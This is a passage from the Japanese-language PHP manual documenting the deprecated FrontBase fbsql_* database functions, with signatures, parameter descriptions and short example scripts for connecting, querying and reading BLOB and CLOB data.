指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

host_name

指定した場合は、これが新しい接続のホスト名となります。

返り値

現在の接続で使用しているホスト名を返します。

参考

  • fbsql_username() - 接続に使用するホストユーザーを取得あるいは設定する
  • fbsql_password() - 接続に対して使用するユーザーパスワードを取得あるいは設定する

User Contributed Notes

There are no user contributed notes for this page.


直近の INSERT 処理により生成された ID を得る

  • ≪ fbsql_hostname
  • fbsql_list_dbs ≫
  • PHP Manual
  • FrontBase 関数
  • 直近の INSERT 処理により生成された ID を得る

fbsql_insert_id

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_insert_id — 直近の INSERT 処理により生成された ID を得る

説明

fbsql_insert_id ( resource $link_identifier = ? ) : int

直近の INSERT クエリにおいて、DEFAULT UNIQUE 定義されているカラムで生成された ID を返します。

注意:

FrontBase SQL関数 fbsql_insert_id() の値は 直近に生成された DEFAULT UNIQUE の値を常に含み、 クエリ間でリセットすることはありません。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

直近の INSERT クエリが生成した ID を返します。 直近のクエリが DEFAULT UNIQUE 値を生成していない場合は 0 を返します。

後のために値を保存する必要がある場合、値を生成するクエリの 直後にこの関数をコールするようにしてください。

参考

  • fbsql_affected_rows() - 直近の FrontBase 操作により変更されたレコードの数を得る

User Contributed Notes

There are no user contributed notes for this page.


FrontBase サーバーで利用可能なデータベースの一覧を得る

  • ≪ fbsql_insert_id
  • fbsql_list_fields ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase サーバーで利用可能なデータベースの一覧を得る

fbsql_list_dbs

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_list_dbs — FrontBase サーバーで利用可能なデータベースの一覧を得る

説明

fbsql_list_dbs ( resource $link_identifier = ? ) : resource

fbsql デーモンで現在使用可能なデータベースを含む結果ポインタを返します。 この結果ポインタの内容を取得するには fbsql_tablename() 関数を使用します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

結果ポインタあるいはエラー時に false を返します。

例

例1 fbsql_list_dbs() の例

<?php
$link = fbsql_connect('localhost', 'myname', 'secret');
$db_list = fbsql_list_dbs($link);

while ($row = fbsql_fetch_object($db_list)) {
    echo $row->Database . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

database1
database2
database3
...

注意:

上記のコードは、fbsql_fetch_row() または他の 類似の関数でも簡単に同じことが可能です。

参考

  • fbsql_list_fields() - FrontBase 結果フィールドの一覧を得る
  • fbsql_list_tables() - FrontBase データベースのテーブル一覧を得る

User Contributed Notes

There are no user contributed notes for this page.


FrontBase 結果フィールドの一覧を得る

  • ≪ fbsql_list_dbs
  • fbsql_list_tables ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase 結果フィールドの一覧を得る

fbsql_list_fields

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_list_fields — FrontBase 結果フィールドの一覧を得る

説明

fbsql_list_fields ( string $database_name , string $table_name , resource $link_identifier = ? ) : resource

指定したテーブルについての情報を取得します。

パラメータ

database_name

データベース名。

table_name

テーブル名。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

結果ポインタを返します。これは、 fbsql_field_xxx で使用できます。 エラー時には false を返します。

エラー / 例外

エラーの内容は $phperrmsg に書き込まれ、関数が @fbsql() のようにコールされていない限り このエラー内容が出力されます。

例

例1 fbsql_list_fields() の例

<?php
$link = fbsql_connect('localhost', 'myname', 'secret');

$fields = fbsql_list_fields("database1", "table1", $link);
$columns = fbsql_num_fields($fields);

for ($i = 0; $i < $columns; $i++) {
    echo fbsql_field_name($fields, $i) . "\n";;
}
?>

上の例の出力は、 たとえば以下のようになります。

field1
field2
field3
...

参考

  • fbsql_field_len() - 指定したフィールドの長さを返す
  • fbsql_field_name() - 結果の指定したフィールドの名前を得る
  • fbsql_field_type() - 結果の中で指定したフィールドの型を得る
  • fbsql_field_flags() - クエリ結果において指定したフィールドに関するフラグを得る

User Contributed Notes

There are no user contributed notes for this page.


FrontBase データベースのテーブル一覧を得る

  • ≪ fbsql_list_fields
  • fbsql_next_result ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase データベースのテーブル一覧を得る

fbsql_list_tables

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_list_tables — FrontBase データベースのテーブル一覧を得る

説明

fbsql_list_tables ( string $database , resource $link_identifier = ? ) : resource

database について説明する結果ポインタを返します。

パラメータ

database

データベース名。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

結果ポインタを返します。これを fbsql_tablename() 関数で使用すると、 実際のテーブル名が取得できます。エラー時には false を返します。

参考

  • fbsql_list_fields() - FrontBase 結果フィールドの一覧を得る
  • fbsql_list_dbs() - FrontBase サーバーで利用可能なデータベースの一覧を得る

User Contributed Notes

There are no user contributed notes for this page.


内部結果ポインタを次の結果に移動する

  • ≪ fbsql_list_tables
  • fbsql_num_fields ≫
  • PHP Manual
  • FrontBase 関数
  • 内部結果ポインタを次の結果に移動する

fbsql_next_result

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_next_result — 内部結果ポインタを次の結果に移動する

説明

fbsql_next_result ( resource $result ) : bool

サーバーに複数の SQL 文を送信したり、複数の結果を返す ストアドプロシージャを実行したりすると、複数の結果セットが返されます。 この関数は、サーバーからの追加の結果セットが存在するかどうかを調べます。 結果が存在した場合、現在の結果セットを開放して新しい結果セットを取得します。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

追加の結果セットが使用可能な場合に true、それ以外の場合に false を返します。

例

例1 fbsql_next_result() の例

<?php
$link = fbsql_connect("localhost", "_SYSTEM", "secret");
fbsql_select_db("MyDB", $link);
$SQL = "Select * from table1; select * from table2;";
$rs = fbsql_query($SQL, $link);
do {
    while ($row = fbsql_fetch_row($rs)) {
    }
} while (fbsql_next_result($rs));
fbsql_free_result($rs);
fbsql_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


結果のフィールド数を得る

  • ≪ fbsql_next_result
  • fbsql_num_rows ≫
  • PHP Manual
  • FrontBase 関数
  • 結果のフィールド数を得る

fbsql_num_fields

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_num_fields — 結果のフィールド数を得る

説明

fbsql_num_fields ( resource $result ) : int

指定した結果セット result のフィールド数を返します。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

フィールドの数を整数値で返します。

参考

  • fbsql_db_query() - FrontBase クエリを送信する
  • fbsql_query() - FrontBase クエリを送信する
  • fbsql_fetch_field() - 結果からカラム情報を得て、オブジェクトとして返す
  • fbsql_num_rows() - 結果のレコード数を得る

User Contributed Notes

There are no user contributed notes for this page.


結果のレコード数を得る

  • ≪ fbsql_num_fields
  • fbsql_password ≫
  • PHP Manual
  • FrontBase 関数
  • 結果のレコード数を得る

fbsql_num_rows

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_num_rows — 結果のレコード数を得る

説明

fbsql_num_rows ( resource $result ) : int

指定した結果セット result の行数を取得します。

このコマンドは SELECT 文に対してのみ使用可能です。 INSERT、UPDATE あるいは DELETE クエリの行数を取得するには、 fbsql_affected_rows() を使用します。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

直近の SELECT 文が返す行の数を返します。

例

例1 fbsql_num_rows() の例

<?php

$link = fbsql_connect("localhost", "username", "password");
fbsql_select_db("database", $link);

$result = fbsql_query("SELECT * FROM table1;", $link);
$num_rows = fbsql_num_rows($result);

echo "$num_rows Rows\n";

?>

参考

  • fbsql_affected_rows() - 直近の FrontBase 操作により変更されたレコードの数を得る
  • fbsql_connect() - FrontBase サーバーへの接続をオープンする
  • fbsql_select_db() - FrontBase データベースを選択する
  • fbsql_query() - FrontBase クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


接続に対して使用するユーザーパスワードを取得あるいは設定する

  • ≪ fbsql_num_rows
  • fbsql_pconnect ≫
  • PHP Manual
  • FrontBase 関数
  • 接続に対して使用するユーザーパスワードを取得あるいは設定する

fbsql_password

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_password — 接続に対して使用するユーザーパスワードを取得あるいは設定する

説明

fbsql_password ( resource $link_identifier , string $password = ? ) : string

接続時のユーザーパスワードを取得あるいは設定します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

password

指定した場合は、これが新しい接続パスワードとなります。

返り値

現在の接続パスワードを返します。

参考

  • fbsql_username() - 接続に使用するホストユーザーを取得あるいは設定する
  • fbsql_hostname() - 接続で使用されているホスト名を取得あるいは設定する

User Contributed Notes

There are no user contributed notes for this page.


FrontBase サーバーへの持続的接続をオープンする

  • ≪ fbsql_password
  • fbsql_query ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase サーバーへの持続的接続をオープンする

fbsql_pconnect

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_pconnect — FrontBase サーバーへの持続的接続をオープンする

説明

fbsql_pconnect
 ( string $hostname = ini_get("fbsql.default_host")
, string $username = ini_get("fbsql.default_user")
, string $password = ini_get("fbsql.default_password")
) : resource

FrontBase サーバーへの持続的な接続を確立します。

サーバーのポート番号を指定するには fbsql_select_db() を使用します。

fbsql_pconnect() は fbsql_connect() とほとんど同じように動作しますが、 2 つの大きな違いがあります。

まず、接続の際に、この関数は事前に同じホスト・ユーザー名・パスワードで オープンされている (持続的) リンクを探そうとします。 見つかった場合には、新しい接続をオープンせずにその接続の ID を 返します。

次に、SQL サーバーへの接続はスクリプトが終了しても閉じられません。 その代わりに、今後利用されるときのためにオープンされたままとなります。

これらにより、この形式のリンクは「持続的(persistent)」と呼ばれます。

パラメータ

hostname

ホスト名。

username

接続時のユーザー名。

password

接続時のパスワード。

返り値

成功した場合には正の FrontBase 持続的リンク ID、 エラー時には false を返します。

参考

  • fbsql_connect() - FrontBase サーバーへの接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


FrontBase クエリを送信する

  • ≪ fbsql_pconnect
  • fbsql_read_blob ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase クエリを送信する

fbsql_query

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_query — FrontBase クエリを送信する

説明

fbsql_query ( string $query , resource $link_identifier = ? , int $batch_size = ? ) : resource

クエリ query を、 サーバー上の現在アクティブなデータベースに送信します。

クエリが成功したと仮定すると、 fbsql_num_rows() を使用して SELECT 文から 返された行数を取得したり fbsql_affected_rows() を使用して DELETE、INSERT、REPLACE あるいは UPDATE 文で変更された行数を 取得したりすることが可能です。

パラメータ

query

実行する SQL クエリ。

注意:

クエリ文字列の最後はセミコロンで終わらなければなりません。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

batch_size

返り値

fbsql_query() は、クエリが成功したかどうかを 示すために true (非ゼロ) あるいは false を返します。 返り値が true の場合、クエリは正しい形式であってサーバーで実行された ことを示します。変更された行数や返された行数については何も示しません。 クエリが成功しても 1 行も変更しなかったり 1 行も返さなかったりすることは 十分にありえることです。

SELECT 文の場合は fbsql_query() は新しい結果 ID を返し、これを fbsql_result() に渡すことができます。

クエリが参照しているテーブルへのアクセス権がない場合にも fbsql_query() は失敗し、false を返します。

例

以下のクエリは文法的に間違っています。そのため fbsql_query() は失敗して false を返します。

例1 fbsql_query() の例

<?php
$result = fbsql_query("SELECT * WHERE 1=1")
    or die ("不正なクエリ");
?>

テーブル my_tbl に my_col というカラムが存在しない場合、以下のクエリは意味的に間違ったものと なります。そのため fbsql_query() は失敗して false を返します。

例2 fbsql_query() の例

<?php
$result = fbsql_query ("SELECT my_col FROM my_tbl;")
    or die ("不正なクエリ");
?>

参考

  • fbsql_affected_rows() - 直近の FrontBase 操作により変更されたレコードの数を得る
  • fbsql_db_query() - FrontBase クエリを送信する
  • fbsql_free_result() - 結果メモリを開放する
  • fbsql_result() - 結果データを得る
  • fbsql_select_db() - FrontBase データベースを選択する
  • fbsql_connect() - FrontBase サーバーへの接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


データベースから BLOB を読み込む

  • ≪ fbsql_query
  • fbsql_read_clob ≫
  • PHP Manual
  • FrontBase 関数
  • データベースから BLOB を読み込む

fbsql_read_blob

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_read_blob — データベースから BLOB を読み込む

説明

fbsql_read_blob ( string $blob_handle , resource $link_identifier = ? ) : string

データベースから BLOB データを読み込みます。

select 文が BLOB や CLOB のカラムを含んでいる場合、 FrontBase はデータが取得される際にはそのデータを直接返します。 このデフォルトの動作は fbsql_set_lob_mode() で変更することが可能で、そうするとデータの取得時には BLOB および CLOB データのハンドルを返します。ハンドルを取得した場合は、 データベースから実際の BLOB データを取得するために fbsql_read_blob() をコールする必要があります。

パラメータ

blob_handle

fbsql_create_blob() が返す BLOB ハンドル。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

指定した BLOB データを含む文字列を返します。

例

例1 fbsql_read_blob() の例

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
$sql = "SELECT BLOB_COLUMN FROM BLOB_TABLE;";
$rs = fbsql_query($sql, $link);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] には最初の行の blob データが含まれています
fbsql_free_result($rs);

$rs = fbsql_query($sql, $link);
fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] には最初の行の BLOB データへのハンドルが含まれています
$blob_data = fbsql_read_blob($row_data[0]);
fbsql_free_result($rs);

?>

参考

  • fbsql_create_blob() - BLOB を作成する
  • fbsql_read_clob() - データベースから CLOB を読み込む
  • fbsql_set_lob_mode() - FrontBase 結果セットの LOB 取得モードを設定する

User Contributed Notes

There are no user contributed notes for this page.


データベースから CLOB を読み込む

  • ≪ fbsql_read_blob
  • fbsql_result ≫
  • PHP Manual
  • FrontBase 関数
  • データベースから CLOB を読み込む

fbsql_read_clob

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_read_clob — データベースから CLOB を読み込む

説明

fbsql_read_clob ( string $clob_handle , resource $link_identifier = ? ) : string

データベースから CLOB データを読み込みます。

select 文が BLOB や CLOB のカラムを含んでいる場合、 FrontBase はデータが取得される際にはそのデータを直接返します。 このデフォルトの動作は fbsql_set_lob_mode() で変更することが可能で、そうするとデータの取得時には BLOB および CLOB データのハンドルを返します。ハンドルを取得した場合は、 データベースから実際の CLOB データを取得するために fbsql_read_clob() をコールする必要があります。

パラメータ

clob_handle

fbsql_create_clob() が返す CLOB ハンドル。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

指定した CLOB データを含む文字列を返します。

例

例1 fbsql_read_clob() の例

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("接続できません");
$sql = "SELECT CLOB_COLUMN FROM CLOB_TABLE;";
$rs = fbsql_query($sql, $link);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] には最初の行の clob データが含まれています
fbsql_free_result($rs);

$rs = fbsql_query($sql, $link);
fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
$row_data = fbsql_fetch_row($rs);
// $row_data[0] には最初の行の CLOB データへのハンドルが含まれています
$clob_data = fbsql_read_clob($row_data[0]);
fbsql_free_result($rs);

?>

参考

  • fbsql_create_clob() - CLOB を作成する
  • fbsql_read_blob() - データベースから BLOB を読み込む
  • fbsql_set_lob_mode() - FrontBase 結果セットの LOB 取得モードを設定する

User Contributed Notes

There are no user contributed notes for this page.


結果データを得る

  • ≪ fbsql_read_clob
  • fbsql_rollback ≫
  • PHP Manual
  • FrontBase 関数
  • 結果データを得る

fbsql_result

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_result — 結果データを得る

説明

fbsql_result ( resource $result , int $row = ? , mixed $field = ? ) : mixed

FrontBase の結果セット result から、ひとつのセルの内容を返します。

大きな結果セットを処理する場合には、(以下で示すような) 行全体を 取得する関数のうちのひとつを使用することを考慮すべきでしょう。 これらの関数は複数のセルの内容を一度の関数コールで取得することが 可能で、fbsql_result() にくらべてかなり高速です。

fbsql_result() は、その他の結果セットを扱う関数と 一緒に使用すべきではありません。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

row

field

フィールドのオフセット・フィールド名・テーブル名とフィールド名をドットで 連結した形式 (テーブル名.フィールド名) のいずれかが指定可能です。

カラム名にエイリアスが指定されている場合 ('select foo as bar from...') は、カラム名のかわりにエイリアスを使用します。

注意:

フィールド名やテーブル名.フィールド名を引数に渡すのに比べると、 フィールドの数値オフセットを指定するほうが高速となります。

返り値

参考

推奨される高機能な代替関数は、以下のようになります。

  • fbsql_fetch_row() - 数値配列として結果レコードを得る
  • fbsql_fetch_array() - 連想配列、数値配列、またはその両方として結果レコードを取得する
  • fbsql_fetch_assoc() - 連想配列として結果レコードを取得する
  • fbsql_fetch_object() - オブジェクトとして結果レコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


データベースへのトランザクションをロールバックする

  • ≪ fbsql_result
  • fbsql_rows_fetched ≫
  • PHP Manual
  • FrontBase 関数
  • データベースへのトランザクションをロールバックする

fbsql_rollback

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_rollback — データベースへのトランザクションをロールバックする

説明

fbsql_rollback ( resource $link_identifier = ? ) : bool

直近のコミット以降に発行されたすべての文をロールバックし、 現在のトランザクションを終了します。

このコマンドは、autocommit が false に設定されている場合にのみ必要となります。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_autocommit() - autocommit を有効または無効にする
  • fbsql_commit() - データベースへのトランザクションをコミットする

User Contributed Notes

There are no user contributed notes for this page.


直近の文で影響をうけた行の数を取得する

  • ≪ fbsql_rollback
  • fbsql_select_db ≫
  • PHP Manual
  • FrontBase 関数
  • 直近の文で影響をうけた行の数を取得する

fbsql_rows_fetched

(PHP 5 >= 5.1.0 < 5.3.0)

fbsql_rows_fetched — 直近の文で影響をうけた行の数を取得する

説明

fbsql_rows_fetched ( resource $result ) : int

直近の文で影響をうけた行の数を取得します。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

返り値

行の数を整数値で返します。

User Contributed Notes

There are no user contributed notes for this page.


FrontBase データベースを選択する

  • ≪ fbsql_rows_fetched
  • fbsql_set_characterset ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase データベースを選択する

fbsql_select_db

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_select_db — FrontBase データベースを選択する

説明

fbsql_select_db ( string $database_name = ? , resource $link_identifier = ? ) : bool

指定したリンク ID 上の、現在アクティブなデータベースを設定します。

クライアントは、データベースへの接続時に使用するポート番号を取得する ために FBExec を使用します。データベース名が番号の場合、システムは これをポート番号として使用し、FBExec にポート番号を問い合わせません。 FrontBase サーバーを開始するには、 FRontBase -FBExec=No -port=<port number> <database name> のようにします。

この後の fbsql_query() のコールは、 アクティブなデータベースが対象となります。

パラメータ

database_name

選択するデータベースの名前。

データベースがパスワードで保護されている場合は、データベースを選択する前に fbsql_database_password() をコールする必要があります。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_connect() - FrontBase サーバーへの接続をオープンする
  • fbsql_pconnect() - FrontBase サーバーへの持続的接続をオープンする
  • fbsql_database_password() - FrontBase データベースのパスワードを設定または取得する
  • fbsql_query() - FrontBase クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


入出力文字セットを変更する

  • ≪ fbsql_select_db
  • fbsql_set_lob_mode ≫
  • PHP Manual
  • FrontBase 関数
  • 入出力文字セットを変更する

fbsql_set_characterset

(PHP 5 >= 5.1.0 < 5.3.0)

fbsql_set_characterset — 入出力文字セットを変更する

説明

fbsql_set_characterset ( resource $link_identifier , int $characterset , int $in_out_both = ? ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


FrontBase 結果セットの LOB 取得モードを設定する

  • ≪ fbsql_set_characterset
  • fbsql_set_password ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase 結果セットの LOB 取得モードを設定する

fbsql_set_lob_mode

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_set_lob_mode — FrontBase 結果セットの LOB 取得モードを設定する

説明

fbsql_set_lob_mode ( resource $result , int $lob_mode ) : bool

データベースから LOB データを取得する際のモードを設定します。

BLOB および CLOB のデータが FrontBase に格納されている場合、 それは直接的あるいは間接的に保存することが可能です。直接保存された LOB データは lob モードの設定にかかわらず常に取得されます。LOB データが 512 バイトより小さい場合は常に直接保存されます。

パラメータ

result

fbsql_query() あるいは fbsql_db_query() が返す結果 ID。

lob_mode

以下のいずれかです。

  • FBSQL_LOB_DIRECT - LOB データは直接取得されます。 データベースから fbsql_fetch_row() やその他の関数を使用してデータを取得した場合、すべての CLOB あるいは BLOB カラムはその内容が直接返されます。 これは新規 FrontBase 結果のデフォルト値です。
  • FBSQL_LOB_HANDLE - LOB データは、実際のデータへのハンドルとして 取得されます。fbsql_fetch_row() あるいはその他の 関数によってデータが取得された際、LOB データが間接的に格納されていた 場合はそのハンドルを、直接格納されていた場合はデータそのものを返します。 ハンドルが返された場合、それは @'000000000000000000000000' のような形式の 27 バイトの文字列となります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_create_blob() - BLOB を作成する
  • fbsql_create_clob() - CLOB を作成する
  • fbsql_read_blob() - データベースから BLOB を読み込む
  • fbsql_read_clob() - データベースから CLOB を読み込む

User Contributed Notes

There are no user contributed notes for this page.


指定したユーザーのパスワードを変更する

  • ≪ fbsql_set_lob_mode
  • fbsql_set_transaction ≫
  • PHP Manual
  • FrontBase 関数
  • 指定したユーザーのパスワードを変更する

fbsql_set_password

(PHP 5 < 5.3.0)

fbsql_set_password — 指定したユーザーのパスワードを変更する

説明

fbsql_set_password ( resource $link_identifier , string $user , string $password , string $old_password ) : bool

指定したユーザー user のパスワードを変更します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

user

ユーザー名。

password

設定する新しいパスワード。

old_password

もとのパスワード。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


トランザクションのロックと分離レベルを設定する

  • ≪ fbsql_set_password
  • fbsql_start_db ≫
  • PHP Manual
  • FrontBase 関数
  • トランザクションのロックと分離レベルを設定する

fbsql_set_transaction

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_set_transaction — トランザクションのロックと分離レベルを設定する

説明

fbsql_set_transaction ( resource $link_identifier , int $locking , int $isolation ) : void

トランザクションのロック locking および分離レベル isolation を設定します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

locking

設定するロックの形式。定数 FBSQL_LOCK_DEFERRED、 FBSQL_LOCK_OPTIMISTIC あるいは FBSQL_LOCK_PESSIMISTIC のいずれかとなります。

isolation

設定する分離レベル。定数 FBSQL_ISO_READ_UNCOMMITTED、 FBSQL_ISO_READ_COMMITTED、 FBSQL_ISO_REPEATABLE_READ、 FBSQL_ISO_SERIALIZABLE および FBSQL_ISO_VERSIONED のいずれかとなります。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ローカルまたはリモートサーバーのデータベースを開始する

  • ≪ fbsql_set_transaction
  • fbsql_stop_db ≫
  • PHP Manual
  • FrontBase 関数
  • ローカルまたはリモートサーバーのデータベースを開始する

fbsql_start_db

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_start_db — ローカルまたはリモートサーバーのデータベースを開始する

説明

fbsql_start_db ( string $database_name , resource $link_identifier = ? , string $database_options = ? ) : bool

ローカルまたはリモートサーバーのデータベースを開始します。

パラメータ

database_name

データベース名。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

database_options

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_db_status() - 指定したデータベースの状態を取得する
  • fbsql_stop_db() - ローカルまたはリモートサーバーのデータベースを停止する

User Contributed Notes

There are no user contributed notes for this page.


ローカルまたはリモートサーバーのデータベースを停止する

  • ≪ fbsql_start_db
  • fbsql_table_name ≫
  • PHP Manual
  • FrontBase 関数
  • ローカルまたはリモートサーバーのデータベースを停止する

fbsql_stop_db

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_stop_db — ローカルまたはリモートサーバーのデータベースを停止する

説明

fbsql_stop_db ( string $database_name , resource $link_identifier = ? ) : bool

ローカルまたはリモートサーバーのデータベースを停止します。

パラメータ

database_name

データベース名。

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fbsql_db_status() - 指定したデータベースの状態を取得する
  • fbsql_start_db() - ローカルまたはリモートサーバーのデータベースを開始する

User Contributed Notes

There are no user contributed notes for this page.


フィールドのテーブル名を得る

  • ≪ fbsql_stop_db
  • fbsql_tablename ≫
  • PHP Manual
  • FrontBase 関数
  • フィールドのテーブル名を得る

fbsql_table_name

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_table_name — フィールドのテーブル名を得る

説明

fbsql_table_name ( resource $result , int $index ) : string

fbsql_table_name() は、指定した結果セット result から現在のテーブル名を取得します。

fbsql_num_rows() 関数を使用して、 現在の結果ポインタ内のテーブルの数を判断します。

パラメータ

result

fbsql_list_tables() が返す結果ポインタ。

index

現在のテーブルの整数値インデックス。

返り値

テーブル名を文字列で返します。

例

例1 fbsql_table_name() の例

<?php
fbsql_connect("localhost", "_SYSTEM", "");
$result = fbsql_list_tables("wisconsin");
$i = 0;
while ($i < fbsql_num_rows($result)) {
    $tb_names[$i] = fbsql_table_name($result, $i);
    echo $tb_names[$i] . "<br />";
    $i++;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


fbsql_table_name のエイリアス

  • ≪ fbsql_table_name
  • fbsql_username ≫
  • PHP Manual
  • FrontBase 関数
  • fbsql_table_name のエイリアス

fbsql_tablename

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0)

fbsql_tablename — fbsql_table_name() のエイリアス

説明

この関数は次の関数のエイリアスです。 fbsql_table_name().

User Contributed Notes

There are no user contributed notes for this page.


接続に使用するホストユーザーを取得あるいは設定する

  • ≪ fbsql_tablename
  • fbsql_warnings ≫
  • PHP Manual
  • FrontBase 関数
  • 接続に使用するホストユーザーを取得あるいは設定する

fbsql_username

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_username — 接続に使用するホストユーザーを取得あるいは設定する

説明

fbsql_username ( resource $link_identifier , string $username = ? ) : string

接続で使用するユーザー名を取得あるいは設定します。

パラメータ

link_identifier

fbsql_connect() あるいは fbsql_pconnect() が返す FrontBase リンク ID。

指定しなかった場合は、この関数は FrontBase サーバーでオープンしているリンクを探します。見つからないときは fbsql_connect() に引数を指定せずにコールしたときと同様にして作成します。

username

指定した場合は、これを新しいユーザー名として設定します。

返り値

